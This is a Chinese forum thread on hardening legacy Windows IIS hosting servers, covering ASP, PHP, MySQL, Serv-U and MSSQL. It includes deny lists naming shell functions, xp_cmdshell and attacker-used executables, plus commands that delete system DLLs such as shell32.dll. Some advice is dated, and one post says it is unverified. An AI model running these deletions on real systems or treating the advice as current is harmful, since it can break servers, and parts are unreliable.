对于用户站点所在的目录,在此说明一下,用户的FTP根目录下对应三个文件佳,wwwroot,database,logfiles,分别存放站点文件,数据库备份和该站点的日志。如果一旦发生入侵事件可对该用户站点所在目录设置具体的权限,图片所在的目录只给予列目录的权限,程序所在目录如果不需要生成文件(如生成html的程序)不给予写入权限。因为是虚拟主机平常对脚本安全没办法做到细致入微的地步,更多的只能在方法用户从脚本提升权限:
ASP的安全设置:
设置过权限和服务之后,防范asp木马还需要做以下工作,在cmd窗口运行以下命令:
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
即可将WScript.Shell, Shell.application, WScript.Network组件卸载,可有效防止asp木马通过wscript或shell.application执行命令以及使用木马查看一些系统敏感信息。另法:可取消以上文件的users用户的权限,重新启动IIS即可生效。但不推荐该方法。
另外,对于FSO由于用户程序需要使用,服务器上可以不注销掉该组件,这里只提一下FSO的防范,但并不需要在自动开通空间的虚拟商服务器上使用,只适合于手工开通的站点。可以针对需要FSO和不需要FSO的站点设置两个组,对于需要FSO的用户组给予c:winntsystem32scrrun.dll文件的执行权限,不需要的不给权限。重新启动服务器即可生效。
对于这样的设置结合上面的权限设置,你会发现海阳木马已经在这里失去了作用!
PHP的安全设置:
默认安装的php需要有以下几个注意的问题:
C:\winnt\php.ini只给予users读权限即可。在php.ini里需要做如下设置:
Safe_mode=on
register_globals = Off
allow_url_fopen = Off
display_errors = Off
magic_quotes_gpc = On [默认是on,但需检查一遍]
open_basedir =web目录
disable_functions =passthru,exec,shell_exec,system,phpinfo,get_cfg_var,popen,chmod
默认设置com.allow_dcom = true修改为false[修改前要取消掉前面的;]
MySQL安全设置:
如果服务器上启用MySQL数据库,MySQL数据库需要注意的安全设置为:
删除mysql中的所有默认用户,只保留本地root帐户,为root用户加上一个复杂的密码。赋予普通用户updatedeletealertcreatedrop权限的时候,并限定到特定的数据库,尤其要避免普通客户拥有对mysql数据库操作的权限。检查mysql.user表,取消不必要用户的shutdown_priv,relo
ad_priv,process_priv和File_priv权限,这些权限可能泄漏更多的服务器信息包括非mysql的其它信息出去。可以为mysql设置一个启动用户,该用户只对mysql目录有权限。设置安装目录的data数据库的权限(此目录存放了mysql数据库的数据信息)。对于mysql安装目录给users加上读取、列目录和执行权限。
Serv-u安全问题:
安装程序尽量采用最新版本,避免采用默认安装目录,设置好serv-u目录所在的权限,设置一个复杂的管理员密码。修改serv-u的banner信息,设置被动模式端口范围(4001—4003)在本地服务器中设置中做好相关安全设置:包括检查匿名密码,禁用反超时调度,拦截“FTP bounce”攻击和FXP,对于在30秒内连接超过3次的用户拦截10分钟。域中的设置为:要求复杂密码,目录只使用小写字母,高级中设置取消允许使用MDTM命令更改文件的日期。
更改serv-u的启动用户:在系统中新建一个用户,设置一个复杂点的密码,不属于任何组。将servu的安装目录给予该用户完全控制权限。建立一个FTP根目录,需要给予这个用户该目录完全控制权限,因为所有的ftp用户上传,删除,更改文件都是继承了该用户的权限,否则无法操作文件。另外需要给该目录以上的上级目录给该用户的读取权限,否则会在连接的时候出现530 Not logged in, home directory does not exist。比如在测试的时候ftp根目录为d:soft,必须给d盘该用户的读取权限,为了安全取消d盘其他文件夹的继承权限。而一般的使用默认的system启动就没有这些问题,因为system一般都拥有这些权限的。
数据库服务器的安全设置
对于专用的MSSQL数据库服务器,按照上文所讲的设置TCP/IP筛选和IP策略,对外只开放1433和5631端口。对于MSSQL首先需要为sa设置一个强壮的密码,使用混合身份验证,加强数据库日志的记录,审核数据库登陆事件的”成功和失败”.删除一些不需要的和危险的OLE自动存储过程(会造成企业管理器中部分功能不能使用),这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
去掉不需要的注册表访问过程,包括有:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue
Xp_regenumvalues Xp_regread Xp_regremovemultistring
Xp_regwrite
去掉其他系统存储过程,如果认为还有威胁,当然要小心Drop这些过程,可以在测试机器上测试,保证正常的系统能完成工作,这些过程包括:
xp_cmdshell xp_dirtree xp_dropwebtask sp_addsrvrolemember
xp_makewebtask xp_runwebtask xp_subdirs sp_addlogin
sp_addextendedproc
在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例可防止对1434端口的探测,可修改默认使用的1433端口。除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。另外注意设置好各个数据库用户的权限,对于这些用户只给予所在数据库的一些权限。在程序中不要用sa用户去连接任何数据库。网络上有建议大家使用协议加密的,千万不要这么做,否则你只能重装MSSQL了。
入侵检测和数据备份
入侵检测工作
作为服务器的日常管理,入侵检测是一项非常重要的工作,在平常的检测过程中,主要包含日常的服务器安全例行检查和遭到入侵时的入侵检查,也就是分为在入侵进行时的安全检查和在入侵前后的安全检查。系统的安全性遵循木桶原理,木桶原理指的是:一个木桶由许多块木板组成,如果组成木桶的这些木板长短不一,那么这个木桶的最大容量不取决于长的木板,而取决于最短的那块木板。应用到安全方面也就是说系统的安全性取决于系统中最脆弱的地方,这些地方是日常的安全检测的重点所在。
日常的安全检测
日常安全检测主要针对系统的安全性,工作主要按照以下步骤进行:
1.查看服务器状态:
打开进程管理器,查看服务器性能,观察CPU和内存使用状况。查看是否有CPU和内存占用过高等异常情况。
2.检查当前进程情况
切换“任务管理器”到进程,查找有无可疑的应用程序或后台进程在运行。用进程管理器查看进程时里面会有一项taskmgr,这个是进程管理器自身的进程。如果正在运行windows更新会有一项wuauclt.exe进程。对于拿不准的进程或者说不知道是服务器上哪个应用程序开启的进程,可以在网络上搜索一下该进程名加以确定[进程知识库:http://www.dofile.com/]。通常的后门如果有进程的话,一般会取一个与系统进程类似的名称,如svch0st.exe,此时要仔细辨别[通常迷惑手段是变字母o为数字0,变字母l为数字1]
3.检查系统帐号
打开计算机管理,展开本地用户和组选项,查看组选项,查看administrators组是否添加有新帐号,检查是否有克隆帐号。
4.查看当前端口开放情况
使用activeport,查看当前的端口连接情况,尤其是注意与外部连接着的端口情况,看是否有未经允许的端口与外界在通信。如有,立即关闭该端口并记录下该端口对应的程序并记录,将该程序转移到其他目录下存放以便后来分析。打开计算机管理==》软件环境==》正在运行任务[在此处可以查看进程管理器中看不到的隐藏进程],查看当前运行的程序,如果有不明程序,记录下该程序的位置,打开任务管理器结束该进程,对于采用了守护进程的后门等程序可尝试结束进程树,如仍然无法结束,在注册表中搜索该程序名,删除掉相关键值,切换到安全模式下删除掉相关的程序文件。
5.检查系统服务
运行services.msc,检查处于已启动状态的服务,查看是否有新加的未知服务并确定服务的用途。对于不清楚的服务打开该服务的属性,查看该服务所对应的可执行文件是什么,如果确定该文件是系统内的正常使用的文件,可粗略放过。查看是否有其他正常开放服务依存在该服务上,如果有,可以粗略的放过。如果无法确定该执行文件是否是系统内正常文件并且没有其他正常开放服务依存在该服务上,可暂时停止掉该服务,然后测试下各种应用是否正常。对于一些后门由于采用了hook系统API技术,添加的服务项目在服务管理器中是无法看到的,这时需要打开注册表中的HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices项进行查找,通过查看各服务的名称、对应的执行文件来确定是否是后门、木马程序等。
6.查看相关日志
运行eventvwr.msc,粗略检查系统中的相关日志记录。在查看时在对应的日志记录上点右键选“属性”,在“筛选器”中设置一个日志筛选器,只选择错误、警告,查看日志的来源和具体描述信息。对于出现的错误如能在服务器常见故障排除中找到解决办法则依照该办法处理该问题,如果无解决办法则记录下该问题,详细记录下事件来源、ID号和具体描述信息,以便找到问题解决的办法。
7.检查系统文件
主要检查系统盘的exe和dll文件,建议系统安装完毕之后用dir *.exe /s >1.txt将C盘所有的exe文件列表保存下来,然后每次检查的时候再用该命令生成一份当时的列表,用fc比较两个文件,同样如此针对dll文件做相关检查。需要注意的是打补丁或者安装软件后重新生成一次原始列表。检查相关系统文件是否被替换或系统中是否被安装了木马后门等恶意程序。必要时可运行一次杀毒程序对系统盘进行一次扫描处理。
8.检查安全策略是否更改
打开本地连接的属性,查看“常规”中是否只勾选了“TCP/IP协议”,打开“TCP/IP”协议设置,点“高级”==》“选项”,查看“IP安全机制”是否是设定的IP策略,查看“TCP/IP”筛选允许的端口有没有被更改。打开“管理工具”=》“本地安全策略”,查看目前使用的IP安全策略是否发生更改。
9.检查目录权限
重点查看系统目录和重要的应用程序权限是否被更改。需要查看的目录有c:;c:winnt;
C:winntsystem32;c:winntsystem32inetsrv;c:winntsystem32inetsrvdata;c:documents and
Settings;然后再检查serv-u安装目录,查看这些目录的权限是否做过变动。检查system32下的一些重要文件是否更改过权限,包括:cmd,net,ftp,tftp,cacls等文件。
10.检查启动项
主要检查当前的开机自启动程序。可以使用AReporter来检查开机自启动的程序。
发现入侵时的应对措施
对于即时发现的入侵事件,以下情况针对系统已遭受到破坏情况下的处理,系统未遭受到破坏或暂时无法察觉到破坏先按照上述的检查步骤检查一遍后再酌情考虑以下措施。系统遭受到破坏后应立即采取以下措施:
视情况严重决定处理的方式,是通过远程处理还是通过实地处理。如情况严重建议采用实地处理。如采用实地处理,在发现入侵的第一时间通知机房关闭服务器,待处理人员赶到机房时断开网线,再进入系统进行检查。如采用远程处理,如情况严重第一时间停止所有应用服务,更改IP策略为只允许远程管理端口进行连接然后重新启动服务器,重新启动之后再远程连接上去进行处理,重启前先用AReporter检查开机自启动的程序。然后再进行安全检查。
以下处理措施针对用户站点被入侵但未危及系统的情况,如果用户要求加强自己站点的安全性,可按如下方式加固用户站点的安全:
站点根目录----只给administrator读取权限,权限继承下去。
wwwroot ------给web用户读取、写入权限。高级里面有删除子文件夹和文件权限
logfiles------给system写入权限。
database------给web用户读取、写入权限。高级里面没有删除子文件夹和文件权限
如需要进一步修改,可针对用户站点的特性对于普通文件存放目录如html、js、图片文件夹只给读取权限,对asp等脚本文件给予上表中的权限。另外查看该用户站点对应的安全日志,找出漏洞原因,协助用户修补程序漏洞。
数据备份和数据恢复
数据备份工作大致如下:
1. 每月备份一次系统数据。
2. 备份系统后的两周单独备份一次应用程序数据,主要包括IIS、serv-u、数据库等数据。
3. 确保备份数据的安全,并分类放置这些数据备份。因基本上采用的都是全备份方法,对于数据的保留周期可以只保留该次备份和上次备份数据两份即可。
数据恢复工作:
1.系统崩溃或遇到其他不可恢复系统正常状态情况时,先对上次系统备份后发生的一些更改事件如应用程序、安全策略等的设置做好备份,恢复完系统后再恢复这些更改。
2.应用程序等出错采用最近一次的备份数据恢复相关内容。
服务器性能优化
1 服务器性能优化
系统性能优化
整理系统空间:
删除系统备份文件,删除驱动备份,刪除不用的輸入法,刪除系统的帮助文件,卸载不常用的组件。最小化C盘文件。
性能优化:
删除多余的开机自动运行程序;减少预读取,减少进度条等待时间;让系统自动关闭停止响应的程序;禁用错误报告,但在发生严重错误时通知;关闭自动更新,改为手动更新计算机;启用硬件和DirectX加速;禁用关机事件跟踪;禁用配置服务器向导; 减少开机磁盘扫描等待时间;将处理器计划和内存使用都调到应用程序上;调整虚拟内存;内存优化;修改cpu的二级缓存;修改磁盘缓存。
IIS性能优化
1、调整IIS高速缓存
HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Services\InetInfoParametersMemoryCacheSize
MemoryCacheSize的范围是从0道4GB,缺省值为3072000(3MB)。一般来说此值最小应设为服务器内存的10%。IIS通过高速缓存系统句柄、目录列表以及其他常用数据的值来提高系统的性能。这个参数指明了分配给高速缓存的内存大小。如果该值为0,那就意味着“不进行任何高速缓存”。在这种情况下系统的性能可能会降低。如果你的服务器网络通讯繁忙,并且有足够的内存空间,可以考虑增大该值。必须注意的是修改注册表后,需要重新启动才能使新值生效。
2.不要关闭系统服务: “Protected Storage”
3.对访问流量进行限制
A.对站点访问人数进行限制
B.站点带宽限制。保持HTTP连接。
C.进程限制, 输入CPU的耗用百分比
4.提高IIS的处理效率
应用程序设置”处的“应用程序保护”下拉按钮,从弹出的下拉列表中,选中“低(IIS进程)”选项,IIS服务器处理程序的效率可以提高20%左右。但此设置会带来严重的安全问题,不值得推荐。
5.将IIS服务器设置为独立的服务器
A.提高硬件配置来优化IIS性能硬盘:硬盘空间被NT和IIS服务以如下两种方式使用:一种是简单地存储数据;另一种是作为虚拟内存使用。如果使用Ultra2的SCSI硬盘,可以显著提高IIS的性能。
B.可以把NT服务器的页交换文件分布到多个物理磁盘上,注意是多个“物理磁盘”,分布在多个分区上是无效的。另外,不要将页交换文件放在与WIndows NT引导区相同的分区中。
C.使用磁盘镜像或磁盘带区集可以提高磁盘的读取性能。
D.最好把所有的数据都储存在一个单独的分区里。然后定期运行磁盘碎片整理程序以保证在存储Web服务器数据的分区中没有碎片。使用NTFS有助于减少碎片。推荐使用Norton的Speeddisk,可以很快的整理NTFS分区。
6.起用HTTP压缩
HTTP压缩是在Web服务器和浏览器间传输压缩文本内容的方法。HTTP压缩采用通用的压缩算法如gzip等压缩HTML、JavaScript或CSS文件。可使用pipeboost进行设置。
7.起用资源回收
使用IIS5Recycle定时回收进程资源。
服务器常见故障排除
1. ASP“请求的资源正在使用中”的解决办法:
该问题一般与杀毒软件有关,在服务器上安装个人版杀毒软件所致。出现这种错误可以通过卸载杀毒软件解决,也可尝试重新注册vbscript.dll和jscript.dll来解决,在命令行下运行:regsvr32 vbscript.dll 和regsvr32 jscript.dll即可。
2.ASP500错误解决办法:
首先确定该问题是否是单一站点存在还是所有站点存在,如果是单一站点存在该问题,则是网站程序的问题,可打开该站点的错误提示,把IE的“显示友好HTTP错误”信息取消,查看具体错误信息,然后对应修改相关程序。如是所有站点存在该问题,并且HTML页面没有出现该问题,相关日志出现“服务器无法加载应用程序‘/LM/W3SVC/1/ROOT‘。错误是 ‘不支持此接口‘”。那十有八九是服务器系统中的ASP相关组件出现了问题,重新启动IIS服务,尝试是否可以解决该问题,无法解决重新启动系统尝试是否可解决该问题,如无法解决可重新修复一下ASP组件:
首先删除com组件中的关于IIS的三个东西,需要先将属性里的高级中“禁止删除”的勾选取消。
命令行中,输入“cd winnt\system32\inetsrv”字符串命令,单击回车键后,再执行“rundll32 wamreg.dll,CreateIISPackage”命令,接着再依次执行“regsvr32 asptxn.dll”命令、“iisreset”命令,最后重新启动一下计算机操作系统,这样IIS服务器就能重新正确响应ASP脚本页面了。
3. IIS出现105错误:
在系统日志中“服务器无法注册管理工具发现信息。管理工具可能无法看到此服务器” 来源:w3svc ID:105解决办法:
在网络连接中重新安装netbios协议即可,安装完成之后取消掉勾选。
4.MySQL服务无法启动【错误代码1067】的解决方法
启动MySQL服务时都会在中途报错!内容为:在 本地计算机 无法启动MySQL服务 错误1067:进程意外中止。
解决方法:查找Windows目录下的my.ini文件,编辑内容(如果没有该文件,则新建一个),至少包含
basedir,datadir这两个基本的配置。
[mysqld]
# set basedir to installation path, e.g., c:/mysql
# 设置为MYSQL的安装目录
basedir=D:/www/WebServer/MySQL
# set datadir to location of data directory,
# e.g., c:/mysql/data or d:/mydata/data
# 设置为MYSQL的数据目录
datadir=D:/www/WebServer/MySQL/data
注意,我在更改系统的temp目录之后没有对更改后的目录给予system用户的权限也出现过该问题。
5.DllHotst进程消耗cpu 100%的问题
服务器正常CPU消耗应该在75%以下,而且CPU消耗应该是上下起伏的,出现这种问题的服务器,CPU会突然一直处100%的水平,而且不会下降。
查看任务管理器,可以发现是DLLHOST.EXE消耗了所有的CPU空闲时间,管理员在这种情况下,只好重新启动IIS服务,奇怪的是,重新启动IIS服务后一切正常,但可能过了一段时间后,问题又再次出现了。
直接原因:
有一个或多个ACCESS数据库在多次读写过程中损坏, MDAC系统在写入这个损坏的ACCESS文件时,ASP线程处于BLOCK状态,结果其他线程只能等待,IIS被死锁了,全部的CPU时间都消耗在DLLHOST中。
解决办法:
把数据库下载到本地,然后用ACCESS打开,进行修复操作。再上传到网站。如果还不行,只有新建一个ACCESS数据库,再从原来的数据库中导入所有表和记录。然后把新数据库上传到服务器上。
6.Windows installer出错:
在安装软件的时候出现“不能访问windows installer 服务。可能你在安全模式下运行 windows ,或者windows installer 没有正确的安装。请和你的支持人员联系以获得帮助” 如果试图重新安装InstMsiW.exe,提示:“指定的服务已存在”。
解决办法:
关于installer的错误,可能还有其他错误提示,可尝试以下解决办法:
首先确认是否是权限方面的问题,提示信息会提供相关信息,如果是权限问题,给予winnt目录everyone权限即可[安装完把权限改回来即可]。如果提示的是上述信息,可以尝试以下解决方法:运行“msiexec /unregserver”卸载Windows Installer服务,如果无法卸载可使用SRVINSTW进行卸载,然后下载windows installer的安装程序[地址:http://www.newhua.com/cfan/200410/instmsiw.exe],用winrar解压该文件,在解压缩出来的文件夹里面找到msi.inf文件,右键单击选择“安装”,重新启动系统后运行“msiexec /regserver”重新注册Windows Installer服务。
服务器管理
服务器日常管理安排
服务器管理工作必须规范严谨,尤其在不是只有一位管理员的时候,日常管理工作包括:
1.服务器的定时重启。每台服务器保证每周重新启动一次。重新启动之后要进行复查,确认服务器已经启动了,确认服务器上的各项服务均恢复正常。对于没有启动起来或服务未能及时恢复的情况要采取相应措施。前者可请求托管商的相关工作人员帮忙手工重新启动,必要时可要求让连接上显示器确认是否已启动起来;后者需要远程登陆上服务器进行原因查找并根据原因尝试恢复服务。
2.服务器的安全、性能检查,每服务器至少保证每周登陆两次粗略检查两次。每次检查的结果要求进行登记在册。如需要使用一些工具进行检查,可直接在e:tools中查找到相关工具。对于临时需要从网络上找的工具,首先将IE的安全级别调整到高,然后在网络上进行查找,不要去任何不明站点下载,尽量选择如华军、天空等大型网站进行下载,下载后确保当前杀毒软件已升级到最新版本,升级完毕后对下载的软件进行一次杀毒,确认正常后方能使用。对于下载的新工具对以后维护需要使用的话,将该工具保存到e:tools下,并在该目录中的readme.txt文件中做好相应记录,记录该工具的名称,功能,使用方法。并且在该文件夹中的rar文件夹中保留一份该工具的winrar压缩文件备份,设置解压密码。
3.服务器的数据备份工作,每服务器至少保证每月备份一次系统数据,系统备份采用ghost方式,对于ghost文件固定存放在e:ghost文件目录下,文件名以备份的日期命名,如0824.gho,每服务器至少保证每两周备份一次应用程序数据,每服务器至少保证每月备份一次用户数据,备份的数据固定存放在e:databak文件夹,针对各种数据再建立对应的子文件夹,如serv-u用户数据放在该文件夹下的servu文件夹下,iis站点数据存放在该文件夹下的iis文件夹下。
4.服务器的监控工作,每天正常工作期间必须保证监视所有服务器状态,一旦发现服务停止要及时采取相应措施。对于发现服务停止,首先检查该服务器上同类型的服务是否中断,如所有同类型的服务都已中断及时登陆服务器查看相关原因并针对该原因尝试重新开启对应服务。
5.服务器的相关日志操作,每服务器保证每月对相关日志进行一次清理,清理前对应的各项日志如应用程序日志、安全日志、系统日志等都应选择“保存日志”。所有的日志文件统一保存在e:logs下,应用程序日志保存在e:logsapp中,系统程序日志保存在e:logssys中,安全日志保存在e:logssec中。对于另外其他一些应用程序的日志,也按照这个方式进行处理,如ftp的日志保存在e:logsftp中。所有的备份日志文件都以备份的日期命名,如20050824.evt。对于不是单文件形式的日志,在对应的记录位置下建立一个以日期命名的文件夹,将这些文件存放在该文件夹中。
6.服务器的补丁修补、应用程序更新工作,对于新出的漏洞补丁,应用程序方面的安全更新一定要在发现的第一时间给每服务器打上应用程序的补丁。
7.服务器的隐患检查工作,主要包括安全隐患、性能等方面。每服务器必须保证每月重点的单独检查一次。每次的检查结果必须做好记录。
8.不定时的相关工作,每服务器由于应用软件更改或其他某原因需要安装新的应用程序或卸载应用程序等操作必须知会所有管理员。
9.定期的管理密码更改工作,每服务器保证至少每两个月更改一次密码,对于SQL服务器由于如果SQL采用混合验证更改系统管理员密码会影响数据库的使用则不予修改。
相关建议:对每服务器设立一个服务器管理记载,管理员每次登陆系统都应该在此中进行详细的记录,共需要记录以下几项:登入时间,退出时间,登入时服务器状态[包含不明进程记录,端口连接状态,系统帐号状态,内存/CPU状态],详细操作情况记录[详细记录下管理员登陆系统后的每一步操作]。无论是远程登陆操作还是物理接触操作都要进行记录,然后将这些记录按照各服务器归档,按时间顺序整理好文档。
对于数据备份、服务器定时重启等操作建议将服务器分组,例如分成四组,每月的周六晚备份一组服务器的数据,每周的某一天定时去重启一组的服务器,这样对于工作的开展比较方便,这些属于固定性的工作。另外有些工作可以同步进行,如每月一次的数据备份、安全检查和管理员密码修改工作,先进行数据备份,然后进行安全检查,再修改密码。对于需要的即时操作如服务器补丁程序的安装、服务器不定时的故障维护等工作,这些属于即时性的工作,但是原则上即时性的工作不能影响固定工作的安排。
管理员日常注意事项
在服务器管理过程中,管理员需要注意以下事项:
1.对自己的每一次操作应做好详细记录,具体见上述建议,以便于后来检查。
2.努力提高自身水平,加强学习。

回复 支持 反对

使用道具 举报

13#
发表于 2009-11-12 19:13:56 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
windows 2003服务器防止海洋木马的安全设置

作者:未知
信息来源:hackbase.com

----------------------------------------------------
深山红叶特别提醒:
在进行下述操作前,强烈建议备份注册表、备份系统状态!!
以下操作未经深山红叶本人验证!请小心试用。
----------------------------------------------------

删除以下的注册表主键:
WScript.Shell
WScript.Shell.1
Shell.application
Shell.application.1
WSCRIPT.NETWORK
WSCRIPT.NETWORK.1

regsvr32/u wshom.ocx回车、regsvr32/u wshext.dll回车

Windows 2003 硬盘安全设置

c:\
administrators 全部
system 全部
iis_wpg 只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限


c:\inetpub\mailroot
administrators 全部
system 全部
service 全部

c:\inetpub\ftproot
everyone 只读和运行

c:\windows
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
Users 读取和运行(此权限最后调整完成后可以取消)

C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取
'www.knowsky.com
C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取



C:\WINDOWS\Microsoft.Net\temporary ASP.NET Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 全部



c:\Program Files
Everyone 只有该文件夹
不是继承的
列出文件夹/读数据
administrators 全部
iis_wpg 只有该文件夹
列出文件/读数据
读属性
读扩展属性
读取权限


c:\windows\temp
Administrator 全部权限
System全部权限
users 全部权限

c:\Program Files\Common Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users(如果有这个用户)
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取

c:\Program Files\Dimac(如果有这个目录)
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部

c:\Program Files\ComPlus Applications (如果有)
administrators 全部

c:\Program Files\GflSDK (如果有)
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
Everyone 读取和运行,列出文件夹目录,读取

c:\Program Files\InstallShield Installation Information (如果有)
c:\Program Files\Internet Explorer (如果有)
c:\Program Files\NetMeeting (如果有)
administrators 全部

c:\Program Files\WindowsUpdate
Creator owner
不是继承的
只有子文件夹及文件
完全
administrators 全部
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部

c:\Program Files\Microsoft SQL(如果SQL安装在这个目录)
administrators 全部
Service 全部
system 全部

d:\ (如果用户网站内容放置在这个分区中)
administrators 全部权限

d:\FreeHost (如果此目录用来放置用户网站内容)
administrators 全部权限
SERVICE 读取与运行


从安全角度,我们建议WebEasyMail(WinWebMail)安装在独立的盘中,例如E:
E:\(如果webeasymail安装在这个盘中)
administrators 全部权限
system 全部权限
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
读取与运行
E:\WebEasyMail (如果webeasymail安装在这个目录中)
administrators 全部
system 全部权限
SERVICE全部
IUSR_*,默认的Internet来宾帐户 (或专用的运行用户)
全部权限


C:\php\uploadtemp
C:\php\sessiondata
everyone
全部

C:\php\
administrators 全部
system 全部权限
SERVICE全部
Users 只读和运行


c:\windows\php.ini
administrators 全部
system 全部权限
SERVICE全部
Users 只读和运行

防止海洋木马列出WIN服务器的用户和进程

禁用服务里面倒数第二个 workstation 服务,可以防止列出用户和服务

回复 支持 反对

使用道具 举报

14#
发表于 2009-11-12 19:14:17 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
防溢出提权攻击解决办法(摘录自网络,原作者不详,知者烦告)

本文将为大家介绍在Microsoft系列(Win2k Win2k3)SERVER中如何简单快速的解决诸如反弹木马、Overflow溢出、提升权限、反弹Shell攻击类的安全威胁之详细防范设置步骤;读完本文,您将可以使您服务器免去被溢出、提升权限等安全威胁。

前言:
在骇客频频攻击、在系统漏洞层出不穷的今天,作为网络管理员、系统管理员的我们虽然在服务器的安全上都下了不少功夫:诸如,及时的打上系统安全补丁、进行一些常规的安全配置,但是仍然不太可能每台服务器都会在第一时间内给系统打上全新补丁。因此我们必需要在还未被入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外;下面就以本人一直以来所用到的最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家讲讲由于N久没有时间写文章了,以前早就答应过大家要写这篇文章给大家,但一直没有时间,有些对不住大家了^_^,在这里还望大家海涵... )

服务器安全设置之防溢出提权攻击解决办法正文:

1、如何可以防止溢出类的骇客攻击呢?

① 尽最大的可能性将系统的漏洞补丁都打完;最好是比如Microsoft Windows Server系列的系统可以将自动更新服务打开,然后让服务器在您指定的某个时间段内自动连接到Microsoft Update网站进行补丁的更新。如果您的服务器为了安全起见 禁止了对公网外部的连接的话,可以用Microsoft WSUS服务在内网进行升级。(关于Microsoft WSUS 2.0的安装与配置可以参考此文:http://www.31896.net/html/2006-1-5/14001689122.shtml )

② 停掉一切不需要的系统服务以及应用程序,最大限能的降底服务器的被攻击系数。比如前阵子的MSDTC溢出,就导致很多服务器挂掉了。其实如果WEB类服务器根本没有用到MSDTC服务时,您大可以把MSDTC服务停掉,这样MSDTC溢出就对您的服务器不构成任何威胁了。

③ 启动TCP/IP端口的过滤:仅打开常用的TCP如21、80、25、110、3389等端口;如果安全要求级别高一点可以将UDP端口关闭,当然如果这样之后缺陷就是如在服务器上连外部就不方便连接了,这里建议大家用IPSec来封UDP。在协议筛选中"只允许"TCP协议(协议号为:6)、UDP协议(协议号为:17)以及RDP协议(协议号为:27)等必需用协议即可;其它无用均不开放。

④ 启用IPSec策略:为服务器的连接进行安全认证,给服务器加上双保险。如③所说,可以在这里封掉一些危险的端品诸如:135 145 139 445 以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。(注:其实防反弹类木马用IPSec简单的禁止UDP或者不常用TCP端口的对外访问就成了,关于IPSec的如何应用这里就不再敖续,你可以到服安讨论Search "IPSec",就 会有N多关于IPSec的应用资料..) (游刃在技术鬼神边缘,打造服务器安全神话!创世纪网络技术前瞻,成就互联网革命先驱!服务器安全讨论区[S.S.D.A]http://www.31896.net )

⑤ 删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制关键系统文件、命令及文件夹:

⒈ 黑客通常在溢出得到shell后,来用诸如net.exe net1.exe ipconfig.exe user.exe query.exe regedit.exe regsvr32.exe 来达 到进一步控制服务器的目的如:加账号了,克隆管理员了等等;这里我们可以将这些命令程序删除或者改名。(注意:在删除与改名时先停掉文件复制服务(FRS)或者先将 %windir%\system32\dllcache\下的对应文件删除或改名。)

2.也或者将这些.exe文件移动到你指定的文件夹,这样也方便以后管理员自己使用 ^0^

3.访问控制表列ACLS控制:

找到%windir%\system32下找到cmd.exe、cmd32.exe net.exe net1.exe ipconfig.exe tftp.exe ftp.exe user.exe reg.exe regedit.exe regedt32.exe regsvr32.exe  
这些黑客常用的文件,在“属性”→“安全”中对他们进行访问的ACLs用户进 行定义,诸如只给administrator有权访问,如果需要防范一些溢出攻击、以及溢出成功后对这些文件的非法利用;那么我们只需要将system用户 在ACLs中进行拒绝访问即可。(如果你性格比较BT的话呢.^_^那么就来一招拒绝所有用户吧!,这里就请各类看官根据自己实情进行处理了)。

4.如果你觉得在GUI下面太麻烦的话,你也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改,或者说将他写成一个.bat批处理 文件来执行以及对这些命令进行修改。(具体用户自己参见cacls /? 帮助进行,由于这里的命令太多我就不一一列举写成批处理代码给各位了!!)

5.对磁盘如C/D/E/F等进行安全的ACLS设置从整体安全上考虑的话也是很有必要的,另外特别是win2k,对Winnt、Winnt\System、Document and Setting等文件夹。

⑥ 进行注册表的修改禁用命令解释器: (如果您觉得用⑤的方法太烦琐的话,那么您不防试试下面一劳永逸的办法来禁止CMD的运行^_^)

通过修改注册表,可以禁止用户使用命令解释器(CMD.exe)和运行批处理文件(.bat文件)。具体方法:新建一个双字节(REG_DWORD)执行 HKEY_CURRENT_USER\Software\Policies\ Microsoft\Windows\System\DisableCMD,修改其值为1,命令解释器和批处理文件都不能被运行。修改其值为2,则只是禁止命令解释器的运行,反之将值改为0,则是打开CMS命令解释器。如果您赚手动太麻烦的话,请将下面的代码保存为*.reg文件,然后导入。



Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]

"DisableCMD"=dword:00000001


